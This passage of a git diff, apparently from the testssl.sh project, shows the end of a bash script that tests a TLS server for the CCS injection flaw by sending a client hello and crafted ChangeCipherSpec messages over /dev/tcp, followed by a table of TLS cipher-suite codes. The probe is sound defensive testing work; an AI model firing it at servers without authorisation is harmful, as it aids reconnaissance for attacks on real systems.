+  xc0, x07,
+  xc0, x06,
+  xc0, x05,
+  xc0, x04,
+  xc0, x03,
+  xc0, x02,
+  xc0, x01,
+  x00, x39,
+  x00, x38,
+  x00, x37,
+  x00, x36,
+  x00, x35,
+  x00, x34,
+  x00, x33,
+  x00, x32,
+  x00, x31,
+  x00, x30,
+  x00, x2f,
+  x00, x16,
+  x00, x15,
+  x00, x14,
+  x00, x13,
+  x00, x12,
+  x00, x11,
+  x00, x10,
+  x00, x0f,
+  x00, x0e,
+  x00, x0d,
+  x00, x0c,
+  x00, x0b,
+  x00, x0a,
+  x00, x09,
+  x00, x08,
+  x00, x07,
+  x00, x06,
+  x00, x05,
+  x00, x04,
+  x00, x03,
+  x00, x02,
+  x00, x01,
+  x01, x00"
+
+msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`
+
+
+parse_hn_port() {
+       PORT=443       # unless otherwise auto-determined, see below
+       NODE="$1"
+
+       # strip "https", supposed it was supplied additionally
+       echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `
+
+       # strip trailing urlpath
+       NODE=`echo $NODE | sed -e 's/\/.*$//'`
+
+       # determine port, supposed it was supplied additionally
+       echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed
+       's/\:.*$//'`
+}
+
+socksend() {
+       data=`echo $1 | sed 's/tls_version/'"$2"'/g'`
+       echo "\"$data\""
+       echo -en "$data" >&5 || return 1
+       sleep $SLEEP
+       return 0
+}
+
+sockread()
+{
+       reply=`dd bs=$1 count=1 <&5 2>/dev/null`
+}
+
+ok_ids(){
+       echo
+       tput bold; tput setaf 2; echo "ok -- something resetted our ccs packets"; tput sgr0
+       echo
+       exit 0
+}
+
+
+#### main
+
+parse_hn_port "$1"
+
+if ! exec 5<> /dev/tcp/$NODE/$PORT; then
+       echo "`basename $0`: unable to connect to $NODE:$PORT"
+       exit 2
+fi
+# socket is now open with fd 5
+
+
+echo "##### sending client hello:"
+socksend "$msg" $TLSV
+
+sockread 5000
+echo -e "\n##### server hello\c"
+if test $DEBUG ; then
+       echo ":"
+       echo -e "$reply" | xxd -c32 | head -20
+       echo "[...]"
+       echo
+fi
+
+echo "##### sending ccs injection with TLS version $TLSV:"
+socksend "$ccs_message" $TLSV || ok_ids
+sleep 1
+socksend "$ccs_message" $TLSV || ok_ids
+
+sockread 65534
+echo
+echo "###### reply: "
+echo -e "$reply" | xxd -c32
+echo
+
+reply_sanitized=`echo -e "$reply" | xxd -p | tr -cd '[:print:]' | sed 's/^..........//'`
+test $DEBUG || echo $reply_sanitized 
+
+lines=`echo -e "$reply" | xxd -c32 | wc -l`
+test $DEBUG || echo $lines
+
+if [ "$lines" -gt 1 ] || [ "$reply_sanitized" == "0a" ] ;then
+       tput bold; tput setaf 2; echo "ok"; tput sgr0
+       ret=0
+else
+       tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0
+       ret=1
+fi
+
+echo
+exit $ret
+
+
+#  vim:tw=100:ts=5:sw=5
+#  $Id: ccs-injection.sh,v 1.3 2014/06/14 21:44:42 dirkw Exp $ 
diff --git a/mapping-rfc.txt b/mapping-rfc.txt
new file mode 100644 (file)
index 0000000..e60396c
--- /dev/null
@@ -0,0 +1,362 @@
+0x010080  SSL_CK_RC4_128_WITH_MD5              
+0x020080  SSL_CK_RC4_128_EXPORT40_WITH_MD5     
+0x030080  SSL_CK_RC2_128_CBC_WITH_MD5        
+0x040080  SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
+0x050080  SSL_CK_IDEA_128_CBC_WITH_MD5       
+0x060040  SSL_CK_DES_64_CBC_WITH_MD5           
+0x0700C0  SSL_CK_DES_192_EDE3_CBC_WITH_MD5  
+0x080080  SSL_CK_RC4_64_WITH_MD5               
+0x00  TLS_NULL_WITH_NULL_NULL                 
+0x01  TLS_RSA_WITH_NULL_MD5                   
+0x02  TLS_RSA_WITH_NULL_SHA                   
+0x03  TLS_RSA_EXPORT_WITH_RC4_40_MD5          
+0x04  TLS_RSA_WITH_RC4_128_MD5                
+0x05  TLS_RSA_WITH_RC4_128_SHA                
+0x06  TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5      
+0x07  TLS_RSA_WITH_IDEA_CBC_SHA               
+0x08  TLS_RSA_EXPORT_WITH_DES40_CBC_SHA       
+0x09  TLS_RSA_WITH_DES_CBC_SHA                
+0x0A  TLS_RSA_WITH_3DES_EDE_CBC_SHA           
+0x0B  TLS_DH_DSS_EXPORT_WITH_DES40_CBC_SHA    
+0x0C  TLS_DH_DSS_WITH_DES_CBC_SHA             
+0x0D  TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA        
+0x0E  TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA    
+0x0F  TLS_DH_RSA_WITH_DES_CBC_SHA             
+0x10  TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA        
+0x11  TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA   
+0x12  TLS_DHE_DSS_WITH_DES_CBC_SHA            
+0x13  TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA       
+0x14  TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA   
+0x15  TLS_DHE_RSA_WITH_DES_CBC_SHA            
+0x16  TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA       
+0x17  TLS_DH_anon_EXPORT_WITH_RC4_40_MD5      
+0x18  TLS_DH_anon_WITH_RC4_128_MD5            
+0x19  TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA   
+0x1A  TLS_DH_anon_WITH_DES_CBC_SHA            
+0x1B  TLS_DH_anon_WITH_3DES_EDE_CBC_SHA       
+0x1C  SSL_FORTEZZA_KEA_WITH_NULL_SHA
+0x1D  SSL_FORTEZZA_KEA_WITH_FORTEZZA_CBC_SHA
+0x1E  TLS_KRB5_WITH_DES_CBC_SHA               
+0x1F  TLS_KRB5_WITH_3DES_EDE_CBC_SHA          
+0x20  TLS_KRB5_WITH_RC4_128_SHA               
+0x21  TLS_KRB5_WITH_IDEA_CBC_SHA              
+0x22  TLS_KRB5_WITH_DES_CBC_MD5               
+0x23  TLS_KRB5_WITH_3DES_EDE_CBC_MD5          
+0x24  TLS_KRB5_WITH_RC4_128_MD5               
+0x25  TLS_KRB5_WITH_IDEA_CBC_MD5              
+0x26  TLS_KRB5_EXPORT_WITH_DES_CBC_40_SHA     
+0x27  TLS_KRB5_EXPORT_WITH_RC2_CBC_40_SHA     
+0x28  TLS_KRB5_EXPORT_WITH_RC4_40_SHA         
+0x29  TLS_KRB5_EXPORT_WITH_DES_CBC_40_MD5     
+0x2A  TLS_KRB5_EXPORT_WITH_RC2_CBC_40_MD5     
+0x2B  TLS_KRB5_EXPORT_WITH_RC4_40_MD5         
+0x2C  TLS_PSK_WITH_NULL_SHA                   
+0x2D  TLS_DHE_PSK_WITH_NULL_SHA               
+0x2E  TLS_RSA_PSK_WITH_NULL_SHA               
+0x2F  TLS_RSA_WITH_AES_128_CBC_SHA            
+0x30  TLS_DH_DSS_WITH_AES_128_CBC_SHA         
+0x31  TLS_DH_RSA_WITH_AES_128_CBC_SHA         
+0x32  TLS_DHE_DSS_WITH_AES_128_CBC_SHA        
+0x33  TLS_DHE_RSA_WITH_AES_128_CBC_SHA        
+0x34  TLS_DH_anon_WITH_AES_128_CBC_SHA        
+0x35  TLS_RSA_WITH_AES_256_CBC_SHA            
+0x36  TLS_DH_DSS_WITH_AES_256_CBC_SHA         
+0x37  TLS_DH_RSA_WITH_AES_256_CBC_SHA         
+0x38  TLS_DHE_DSS_WITH_AES_256_CBC_SHA        
+0x39  TLS_DHE_RSA_WITH_AES_256_CBC_SHA        
+0x3A  TLS_DH_anon_WITH_AES_256_CBC_SHA        
+0x3B  TLS_RSA_WITH_NULL_SHA256                
+0x3C  TLS_RSA_WITH_AES_128_CBC_SHA256         
+0x3D  TLS_RSA_WITH_AES_256_CBC_SHA256         
+0x3E  TLS_DH_DSS_WITH_AES_128_CBC_SHA256      
+0x3F  TLS_DH_RSA_WITH_AES_128_CBC_SHA256      
+0x40  TLS_DHE_DSS_WITH_AES_128_CBC_SHA256     
+0x41  TLS_RSA_WITH_CAMELLIA_128_CBC_SHA       
+0x42  TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA    
+0x43  TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA    
+0x44  TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA   
+0x45  TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA   
+0x46  TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA   
+0x60  TLS_RSA_EXPORT1024_WITH_RC4_56_MD5
+0x61  TLS_RSA_EXPORT1024_WITH_RC2_56_MD5
+0x62  TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
+0x63  TLS_DHE_DSS_EXPORT1024_WITH_DES_CBC_SHA
+0x64  TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
+0x65  TLS_DHE_DSS_EXPORT1024_WITH_RC4_56_SHA
+0x66  TLS_DHE_DSS_WITH_RC4_128_SHA
+0x67  TLS_DHE_RSA_WITH_AES_128_CBC_SHA256     
+0x68  TLS_DH_DSS_WITH_AES_256_CBC_SHA256      
+0x69  TLS_DH_RSA_WITH_AES_256_CBC_SHA256      
+0x6A  TLS_DHE_DSS_WITH_AES_256_CBC_SHA256     
+0x6B  TLS_DHE_RSA_WITH_AES_256_CBC_SHA256     
+0x6C  TLS_DH_anon_WITH_AES_128_CBC_SHA256     
+0x6D  TLS_DH_anon_WITH_AES_256_CBC_SHA256     
+0x80  TLS_GOSTR341094_WITH_28147_CNT_IMIT 
+0x81  TLS_GOSTR341001_WITH_28147_CNT_IMIT
+0x82  TLS_GOSTR341094_WITH_NULL_GOSTR3411
+0x83  TLS_GOSTR341001_WITH_NULL_GOSTR3411
+0x84  TLS_RSA_WITH_CAMELLIA_256_CBC_SHA       
+0x85  TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA    
+0x86  TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA    
+0x87  TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA   
+0x88  TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA   
+0x89  TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA   
+0x8A  TLS_PSK_WITH_RC4_128_SHA                
+0x8B  TLS_PSK_WITH_3DES_EDE_CBC_SHA           
+0x8C  TLS_PSK_WITH_AES_128_CBC_SHA            
+0x8D  TLS_PSK_WITH_AES_256_CBC_SHA            
+0x8E  TLS_DHE_PSK_WITH_RC4_128_SHA            
+0x8F  TLS_DHE_PSK_WITH_3DES_EDE_CBC_SHA       
+0x90  TLS_DHE_PSK_WITH_AES_128_CBC_SHA        
+0x91  TLS_DHE_PSK_WITH_AES_256_CBC_SHA        
+0x92  TLS_RSA_PSK_WITH_RC4_128_SHA            
+0x93  TLS_RSA_PSK_WITH_3DES_EDE_CBC_SHA       
+0x94  TLS_RSA_PSK_WITH_AES_128_CBC_SHA        
+0x95  TLS_RSA_PSK_WITH_AES_256_CBC_SHA        
+0x96  TLS_RSA_WITH_SEED_CBC_SHA               
+0x97  TLS_DH_DSS_WITH_SEED_CBC_SHA            
+0x98  TLS_DH_RSA_WITH_SEED_CBC_SHA            
+0x99  TLS_DHE_DSS_WITH_SEED_CBC_SHA           
+0x9A  TLS_DHE_RSA_WITH_SEED_CBC_SHA           
+0x9B  TLS_DH_anon_WITH_SEED_CBC_SHA           
+0x9C  TLS_RSA_WITH_AES_128_GCM_SHA256         
+0x9D  TLS_RSA_WITH_AES_256_GCM_SHA384         
+0x9E  TLS_DHE_RSA_WITH_AES_128_GCM_SHA256     
+0x9F  TLS_DHE_RSA_WITH_AES_256_GCM_SHA384     
+0xA0  TLS_DH_RSA_WITH_AES_128_GCM_SHA256      
+0xA1  TLS_DH_RSA_WITH_AES_256_GCM_SHA384      
+0xA2  TLS_DHE_DSS_WITH_AES_128_GCM_SHA256     
+0xA3  TLS_DHE_DSS_WITH_AES_256_GCM_SHA384     
+0xA4  TLS_DH_DSS_WITH_AES_128_GCM_SHA256      
+0xA5  TLS_DH_DSS_WITH_AES_256_GCM_SHA384      
+0xA6  TLS_DH_anon_WITH_AES_128_GCM_SHA256     
+0xA7  TLS_DH_anon_WITH_AES_256_GCM_SHA384     
+0xA8  TLS_PSK_WITH_AES_128_GCM_SHA256         
+0xA9  TLS_PSK_WITH_AES_256_GCM_SHA384         
+0xAA  TLS_DHE_PSK_WITH_AES_128_GCM_SHA256     
+0xAB  TLS_DHE_PSK_WITH_AES_256_GCM_SHA384     
+0xAC  TLS_RSA_PSK_WITH_AES_128_GCM_SHA256     
+0xAD  TLS_RSA_PSK_WITH_AES_256_GCM_SHA384     
+0xAE  TLS_PSK_WITH_AES_128_CBC_SHA256         
+0xAF  TLS_PSK_WITH_AES_256_CBC_SHA384         
+0xB0  TLS_PSK_WITH_NULL_SHA256                
+0xB1  TLS_PSK_WITH_NULL_SHA384                
+0xB2  TLS_DHE_PSK_WITH_AES_128_CBC_SHA256     
+0xB3  TLS_DHE_PSK_WITH_AES_256_CBC_SHA384     
+0xB4  TLS_DHE_PSK_WITH_NULL_SHA256            
+0xB5  TLS_DHE_PSK_WITH_NULL_SHA384            
+0xB6  TLS_RSA_PSK_WITH_AES_128_CBC_SHA256     
+0xB7  TLS_RSA_PSK_WITH_AES_256_CBC_SHA384     
+0xB8  TLS_RSA_PSK_WITH_NULL_SHA256            
+0xB9  TLS_RSA_PSK_WITH_NULL_SHA384            
+0xBA  TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256    
+0xBB  TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA256 
+0xBC  TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA256 
+0xBD  TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256
+0xBE  TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256
+0xBF  TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA256
+0xC0  TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256    
+0xC1  TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA256 
+0xC2  TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA256 
+0xC3  TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256
+0xC4  TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256
+0xC5  TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA256
+0xFF  TLS_EMPTY_RENEGOTIATION_INFO_SCSV       
+0xC001  TLS_ECDH_ECDSA_WITH_NULL_SHA            
+0xC002  TLS_ECDH_ECDSA_WITH_RC4_128_SHA         
+0xC003  TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA    
+0xC004  TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA     
+0xC005  TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA     
+0xC006  TLS_ECDHE_ECDSA_WITH_NULL_SHA           
+0xC007  TLS_ECDHE_ECDSA_WITH_RC4_128_SHA        
+0xC008  TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA   
+0xC009  TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA    
+0xC00A  TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA    
+0xC00B  TLS_ECDH_RSA_WITH_NULL_SHA              
+0xC00C  TLS_ECDH_RSA_WITH_RC4_128_SHA           
+0xC00D  TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA      
+0xC00E  TLS_ECDH_RSA_WITH_AES_128_CBC_SHA       
+0xC00F  TLS_ECDH_RSA_WITH_AES_256_CBC_SHA       
+0xC010  TLS_ECDHE_RSA_WITH_NULL_SHA             
+0xC011  TLS_ECDHE_RSA_WITH_RC4_128_SHA          
+0xC012  TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA     
+0xC013  TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA      
+0xC014  TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA      
+0xC015  TLS_ECDH_anon_WITH_NULL_SHA             
+0xC016  TLS_ECDH_anon_WITH_RC4_128_SHA          
+0xC017  TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA     
+0xC018  TLS_ECDH_anon_WITH_AES_128_CBC_SHA      
+0xC019  TLS_ECDH_anon_WITH_AES_256_CBC_SHA      
+0xC01A  TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA       
+0xC01B  TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA   
+0xC01C  TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA   
+0xC01D  TLS_SRP_SHA_WITH_AES_128_CBC_SHA        
+0xC01E  TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA    
+0xC01F  TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA    
+0xC020  TLS_SRP_SHA_WITH_AES_256_CBC_SHA        
+0xC021  TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA    
+0xC022  TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA    
+0xC023  TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 
+0xC024  TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 
+0xC025  TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256  
+0xC026  TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384  
+0xC027  TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256   
+0xC028  TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384   
+0xC029  TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256    
+0xC02A  TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384    
+0xC02B  TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 
+0xC02C  TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 
+0xC02D  TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256  
+0xC02E  TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384  
+0xC02F  TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256   
+0xC030  TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384   
+0xC031  TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256    
+0xC032  TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384    
+0xC033  TLS_ECDHE_PSK_WITH_RC4_128_SHA          
+0xC034  TLS_ECDHE_PSK_WITH_3DES_EDE_CBC_SHA     
+0xC035  TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA      
+0xC036  TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA      
+0xC037  TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256   
+0xC038  TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA384   
+0xC039  TLS_ECDHE_PSK_WITH_NULL_SHA             
+0xC03A  TLS_ECDHE_PSK_WITH_NULL_SHA256          
+0xC03B  TLS_ECDHE_PSK_WITH_NULL_SHA384          
+0xC03C  TLS_RSA_WITH_ARIA_128_CBC_SHA256
+0xC03D  TLS_RSA_WITH_ARIA_256_CBC_SHA384
+0xC03E  TLS_DH_DSS_WITH_ARIA_128_CBC_SHA256
+0xC03F  TLS_DH_DSS_WITH_ARIA_256_CBC_SHA384
+0xC040  TLS_DH_RSA_WITH_ARIA_128_CBC_SHA256
+0xC041  TLS_DH_RSA_WITH_ARIA_256_CBC_SHA384
+0xC042  TLS_DHE_DSS_WITH_ARIA_128_CBC_SHA256
+0xC043  TLS_DHE_DSS_WITH_ARIA_256_CBC_SHA384
+0xC044  TLS_DHE_RSA_WITH_ARIA_128_CBC_SHA256
+0xC045  TLS_DHE_RSA_WITH_ARIA_256_CBC_SHA384
+0xC046  TLS_DH_anon_WITH_ARIA_128_CBC_SHA256
+0xC047  TLS_DH_anon_WITH_ARIA_256_CBC_SHA384
+0xC048  TLS_ECDHE_ECDSA_WITH_ARIA_128_CBC_SHA256
+0xC049  TLS_ECDHE_ECDSA_WITH_ARIA_256_CBC_SHA384
+0xC04A  TLS_ECDH_ECDSA_WITH_ARIA_128_CBC_SHA256
+0xC04B  TLS_ECDH_ECDSA_WITH_ARIA_256_CBC_SHA384
+0xC04C  TLS_ECDHE_RSA_WITH_ARIA_128_CBC_SHA256
+0xC04D  TLS_ECDHE_RSA_WITH_ARIA_256_CBC_SHA384
+0xC04E  TLS_ECDH_RSA_WITH_ARIA_128_CBC_SHA256
+0xC04F  TLS_ECDH_RSA_WITH_ARIA_256_CBC_SHA384
+0xC050  TLS_RSA_WITH_ARIA_128_GCM_SHA256
+0xC051  TLS_RSA_WITH_ARIA_256_GCM_SHA384
+0xC052  TLS_DHE_RSA_WITH_ARIA_128_GCM_SHA256
+0xC053  TLS_DHE_RSA_WITH_ARIA_256_GCM_SHA384
+0xC054  TLS_DH_RSA_WITH_ARIA_128_GCM_SHA256
+0xC055  TLS_DH_RSA_WITH_ARIA_256_GCM_SHA384
+0xC056  TLS_DHE_DSS_WITH_ARIA_128_GCM_SHA256
+0xC057  TLS_DHE_DSS_WITH_ARIA_256_GCM_SHA384
+0xC058  TLS_DH_DSS_WITH_ARIA_128_GCM_SHA256
+0xC059  TLS_DH_DSS_WITH_ARIA_256_GCM_SHA384
+0xC05A  TLS_DH_anon_WITH_ARIA_128_GCM_SHA256
+0xC05B  TLS_DH_anon_WITH_ARIA_256_GCM_SHA384
+0xC05C  TLS_ECDHE_ECDSA_WITH_ARIA_128_GCM_SHA256
+0xC05D  TLS_ECDHE_ECDSA_WITH_ARIA_256_GCM_SHA384
+0xC05E  TLS_ECDH_ECDSA_WITH_ARIA_128_GCM_SHA256
+0xC05F  TLS_ECDH_ECDSA_WITH_ARIA_256_GCM_SHA384
+0xC060  TLS_ECDHE_RSA_WITH_ARIA_128_GCM_SHA256
+0xC061  TLS_ECDHE_RSA_WITH_ARIA_256_GCM_SHA384
+0xC062  TLS_ECDH_RSA_WITH_ARIA_128_GCM_SHA256
+0xC063  TLS_ECDH_RSA_WITH_ARIA_256_GCM_SHA384
+0xC064  TLS_PSK_WITH_ARIA_128_CBC_SHA256
+0xC065  TLS_PSK_WITH_ARIA_256_CBC_SHA384
+0xC066  TLS_DHE_PSK_WITH_ARIA_128_CBC_SHA256
+0xC067  TLS_DHE_PSK_WITH_ARIA_256_CBC_SHA384
+0xC068  TLS_RSA_PSK_WITH_ARIA_128_CBC_SHA256
+0xC069  TLS_RSA_PSK_WITH_ARIA_256_CBC_SHA384
+0xC06A  TLS_PSK_WITH_ARIA_128_GCM_SHA256
+0xC06B  TLS_PSK_WITH_ARIA_256_GCM_SHA384
+0xC06C  TLS_DHE_PSK_WITH_ARIA_128_GCM_SHA256
+0xC06D  TLS_DHE_PSK_WITH_ARIA_256_GCM_SHA384
+0xC06E  TLS_RSA_PSK_WITH_ARIA_128_GCM_SHA256
+0xC06F  TLS_RSA_PSK_WITH_ARIA_256_GCM_SHA384
+0xC070  TLS_ECDHE_PSK_WITH_ARIA_128_CBC_SHA256
+0xC071  TLS_ECDHE_PSK_WITH_ARIA_256_CBC_SHA384
+0xC072  TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256
+0xC073  TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384
+0xC074  TLS_ECDH_ECDSA_WITH_CAMELLIA_128_CBC_SHA256
+0xC075  TLS_ECDH_ECDSA_WITH_CAMELLIA_256_CBC_SHA384
+0xC076  TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256
+0xC077  TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384
+0xC078  TLS_ECDH_RSA_WITH_CAMELLIA_128_CBC_SHA256
+0xC079  TLS_ECDH_RSA_WITH_CAMELLIA_256_CBC_SHA384
+0xC07A  TLS_RSA_WITH_CAMELLIA_128_GCM_SHA256
+0xC07B  TLS_RSA_WITH_CAMELLIA_256_GCM_SHA384
+0xC07C  TLS_DHE_RSA_WITH_CAMELLIA_128_GCM_SHA256
+0xC07D  TLS_DHE_RSA_WITH_CAMELLIA_256_GCM_SHA384
+0xC07E  TLS_DH_RSA_WITH_CAMELLIA_128_GCM_SHA256
+0xC07F  TLS_DH_RSA_WITH_CAMELLIA_256_GCM_SHA384
+0xC080  TLS_DHE_DSS_WITH_CAMELLIA_128_GCM_SHA256
+0xC081  TLS_DHE_DSS_WITH_CAMELLIA_256_GCM_SHA384
+0xC082  TLS_DH_DSS_WITH_CAMELLIA_128_GCM_SHA256
+0xC083  TLS_DH_DSS_WITH_CAMELLIA_256_GCM_SHA384
+0xC084  TLS_DH_anon_WITH_CAMELLIA_128_GCM_SHA256
+0xC085  TLS_DH_anon_WITH_CAMELLIA_256_GCM_SHA384
+0xC086  TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_GCM_SHA256
+0xC087  TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_GCM_SHA384
+0xC088  TLS_ECDH_ECDSA_WITH_CAMELLIA_128_GCM_SHA256
+0xC089  TLS_ECDH_ECDSA_WITH_CAMELLIA_256_GCM_SHA384
+0xC08A  TLS_ECDHE_RSA_WITH_CAMELLIA_128_GCM_SHA256
+0xC08B  TLS_ECDHE_RSA_WITH_CAMELLIA_256_GCM_SHA384
+0xC08C  TLS_ECDH_RSA_WITH_CAMELLIA_128_GCM_SHA256
+0xC08D  TLS_ECDH_RSA_WITH_CAMELLIA_256_GCM_SHA384
+0xC08E  TLS_PSK_WITH_CAMELLIA_128_GCM_SHA256
+0xC08F  TLS_PSK_WITH_CAMELLIA_256_GCM_SHA384
+0xC090  TLS_DHE_PSK_WITH_CAMELLIA_128_GCM_SHA256
+0xC091  TLS_DHE_PSK_WITH_CAMELLIA_256_GCM_SHA384
+0xC092  TLS_RSA_PSK_WITH_CAMELLIA_128_GCM_SHA256
+0xC093  TLS_RSA_PSK_WITH_CAMELLIA_256_GCM_SHA384
+0xC094  TLS_PSK_WITH_CAMELLIA_128_CBC_SHA256
+0xC095  TLS_PSK_WITH_CAMELLIA_256_CBC_SHA384
+0xC096  TLS_DHE_PSK_WITH_CAMELLIA_128_CBC_SHA256
+0xC097  TLS_DHE_PSK_WITH_CAMELLIA_256_CBC_SHA384
+0xC098  TLS_RSA_PSK_WITH_CAMELLIA_128_CBC_SHA256
+0xC099  TLS_RSA_PSK_WITH_CAMELLIA_256_CBC_SHA384
+0xC09A  TLS_ECDHE_PSK_WITH_CAMELLIA_128_CBC_SHA256
+0xC09B  TLS_ECDHE_PSK_WITH_CAMELLIA_256_CBC_SHA384
+0xC09C  TLS_RSA_WITH_AES_128_CCM
+0xC09D  TLS_RSA_WITH_AES_256_CCM
+0xC09E  TLS_DHE_RSA_WITH_AES_128_CCM
+0xC09F  TLS_DHE_RSA_WITH_AES_256_CCM
+0xC0A0  TLS_RSA_WITH_AES_128_CCM_8
+0xC0A1  TLS_RSA_WITH_AES_256_CCM_8
+0xC0A2  TLS_DHE_RSA_WITH_AES_128_CCM_8
+0xC0A3  TLS_DHE_RSA_WITH_AES_256_CCM_8
+0xC0A4  TLS_PSK_WITH_AES_128_CCM
+0xC0A5  TLS_PSK_WITH_AES_256_CCM
+0xC0A6  TLS_DHE_PSK_WITH_AES_128_CCM
+0xC0A7  TLS_DHE_PSK_WITH_AES_256_CCM
+0xC0A8  TLS_PSK_WITH_AES_128_CCM_8
+0xC0A9  TLS_PSK_WITH_AES_256_CCM_8
+0xC0AA  TLS_PSK_DHE_WITH_AES_128_CCM_8
+0xC0AB  TLS_PSK_DHE_WITH_AES_256_CCM_8
+0xC09C  TLS_RSA_WITH_AES_128_CCM
+0xC09D  TLS_RSA_WITH_AES_256_CCM
+0xC09E  TLS_DHE_RSA_WITH_AES_128_CCM
+0xC09F  TLS_DHE_RSA_WITH_AES_256_CCM
+0xC0A0  TLS_RSA_WITH_AES_128_CCM_8
+0xC0A1  TLS_RSA_WITH_AES_256_CCM_8
+0xC0A2  TLS_DHE_RSA_WITH_AES_128_CCM_8
+0xC0A3  TLS_DHE_RSA_WITH_AES_256_CCM_8
+0xC0A4  TLS_PSK_WITH_AES_128_CCM
+0xC0A5  TLS_PSK_WITH_AES_256_CCM
+0xC0A6  TLS_DHE_PSK_WITH_AES_128_CCM
+0xC0A7  TLS_DHE_PSK_WITH_AES_256_CCM
+0xC0A8  TLS_PSK_WITH_AES_128_CCM_8
+0xC0A9  TLS_PSK_WITH_AES_256_CCM_8
+0xC0AA  TLS_PSK_DHE_WITH_AES_128_CCM_8
+0xC0AB  TLS_PSK_DHE_WITH_AES_256_CCM_80
+0xC0AC  TLS_ECDHE_ECDSA_WITH_AES_128_CCM
+0xC0AD  TLS_ECDHE_ECDSA_WITH_AES_256_CCM 
+0xC0AE  TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8
+0xC0AF  TLS_ECDHE_ECDSA_WITH_AES_256_CCM_8
+0xCC13  TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256
+0xCC14  TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256
+0xCC15  TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256
+0xFEFE  SSL_RSA_FIPS_WITH_DES_CBC_SHA
+0xFEFE  SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
+0xFFE0  SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
+0xFFE1  SSL_RSA_FIPS_WITH_DES_CBC_SHA
diff --git a/testssl b/testssl
new file mode 120000 (symlink)
